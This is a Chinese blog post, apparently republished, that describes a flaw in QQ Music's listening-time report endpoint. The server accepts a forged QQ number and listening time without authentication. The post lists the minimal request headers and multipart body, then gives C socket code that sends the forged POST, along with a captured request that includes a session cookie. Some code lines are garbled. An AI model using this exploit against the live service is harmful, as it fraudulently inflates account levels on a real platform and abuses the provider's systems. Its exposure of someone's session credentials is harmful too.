QQ音乐听歌升级漏洞-用C实现接口

漏洞怎么发现的

  • 有一次,正在使用抓包工具Wireshark,换了收歌,看到Wireshark多了几条记录,看到域名i.y.qq.com,最后发现是QQ音乐的。出于好奇,我是想研究下我切歌的时候,QQ音乐到底是发了哪些数据包,没想到发现了QQ音乐发送听歌时间的一个漏洞

分析协议

因为用Wireshark可以看到,QQ音乐发送数据的时候采用的是HTTP协议,这里为了说明方便,用的是Fiddler2分析协议的。

这里写图片描述
随便切换一首歌,可以看到QQ音乐会发送这三个HTTP请求。
然后其他两个都是不需要的。漏洞的接口是第二个URL。

这是他完整的请求头。

POST /pcmusic/fcgi-bin/qm_reportlstmus.fcg?pcachetime=1459833844 HTTP/1.1
Accept: */*
Accept-Language: zh-CN
User-Agent: QMDL
Host: i.y.qq.com
Cookie: qqmusic_fromtag=9; qqmusic_key=3A207B4ED955023B69EEB4B3230EFD1EE5B6CD6010598D2B53F0986F7A6D5CA8; qqmusic_miniversion=53; qqmusic_musicid=1904251; qqmusic_uin=781558066; qqmusic_version=12;
Content-Type: multipart/form-data; boundary=uIDN3h
Accept-Encoding: gzip, deflate
Content-Length: 2270
Connection: Keep-Alive

请求头经过测试,只有以下三个是必须的。

Host: i.y.qq.com
Content-Type: multipart/form-data; boundary=uIDN3h
Content-Length: 2270

host如果没有的话,会返回404

Content-Type指定了服务端怎样解析我们发送的数据,boundary字段的uIDN3h,就可以看成数据分隔符,具体用法请看后面发送的完整正文。

Content-Lengt 指定了发送数据包长度。

发送正文:

--uIDN3h
Content-Disposition: form-data; name="uin"

781558066
--uIDN3h
Content-Disposition: form-data; name="listeninterval"

16

由于正文太长,大概有2000多个字节,所以我只选取了有用的两个字段,一个是QQ号,一个是我们要伪造的听歌时间,单位是秒。

上文提到的Content-Type字段指定的 就是我们发送正文的分隔符格式。

分析出了具体的协议,接下来就是实现一个完整的接口了,为任意QQ号实现提交自定义的听歌时间

有了协议,我想,对于那些使用PHP,Python或者JAVA的同学,完成接口难度都很低,但是这次 我使用的是C++完成的一个接口,如果你是一个C++程序员的话,不妨用此来熟悉下Linux下的网络编程接口。
/*
    基于TCP连接,返回一个绑定指定IP,端口的socket文件描述符。
    addr:目标ip地址。
    port:目标端口
*/
int Connect(char* addr,int port)
{
        int client_fd=socket(AF_INET,SOCK_STREAM,0);
        if(client_fd<0)
        {
                cout<<"create client fd error"<return -1;
        }
        struct sockaddr_in client;
        client.sin_port=htons(port);
        client.sin_family=AF_INET;
        inet_aton(addr,&client.sin_addr);

        if(connect(client_fd,(struct sockaddr*)&client,sizeof(client))<0)
        {
                cout<<"connect error"<return -1;
        }
    return client_fd;
}
/*
    发送HTTP请求头;
    sock:socket文件描述符
    qq:qq号
    time:想要发送的时间,单位S
*/
void sdhead(int sock,char* qq,char* time)
{
    char buf[500];


    sprintf(buf,"POST /pcmusic/fcgi-bin/qm_reportlstmus.fcg HTTP/1.1\r\n");
    send(sock,buf,strlen(buf),0);
    sprintf(buf,"Host: i.y.qq.com\r\n");
    send(sock,buf,strlen(buf),0);

    sprintf(buf,"Content-Type: multipart/form-data; boundary=E896uw\r\n");
    send(sock,buf,strlen(buf),0);

    int sz=127;
    sz+=strlen(qq);
    sz+=strlen(time);
    sprintf(buf,"Content-Length: %d\r\n",sz);
    send(sock,buf,strlen(buf),0);

    sprintf(buf,"\r\n");
    send(sock,buf,strlen(buf),0);

    char* flag="--E896uw";
    sdmsg(sock,qq,time,flag);    

    recv(sock,buf,sizeof(buf)-1,0);
    close(sock);
}
/*
    发送协议的正文。
    flag:分隔符
*/
int sdmsg(int fd,char* qqnumber,char* time,char* flag)
{
    char buf[400];
    int sz=0;
    sprintf(buf,"%s\r\n",flag);
    sz+=send(fd,buf,strlen(buf),0);
    sprintf(buf,"Content-Disposition: form-data; name=\"uin\"\r\n\r\n");
    sz+=send(fd,buf,strlen(buf),0);
    sprintf(buf,"%s\r\n",qqnumber);
    sz+=send(fd,buf,strlen(buf),0);

    sprintf(buf,"%s\r\n",flag);
    sz+=send(fd,buf,strlen(buf),0);
    sprintf(buf,"Content-Disposition: form-data; name=\"listeninterval\"\r\n\r\n");
    sz+=send(fd,buf,strlen(buf),0);
    sprintf(buf,"%s\r\n",time);
    sz+=send(fd,buf,strlen(buf),0);
    return 0;
}

大体的函数就这么多。

项目完整代码请访问Github:

https://github.com/zhaoke1995/QMusicUpgradeDemo

最后附上测试:

QQ音乐听歌升级漏洞-用C实现接口_第1张图片

你可能感兴趣的:(c语言基础,c语言,漏洞,http协议,socket,linux)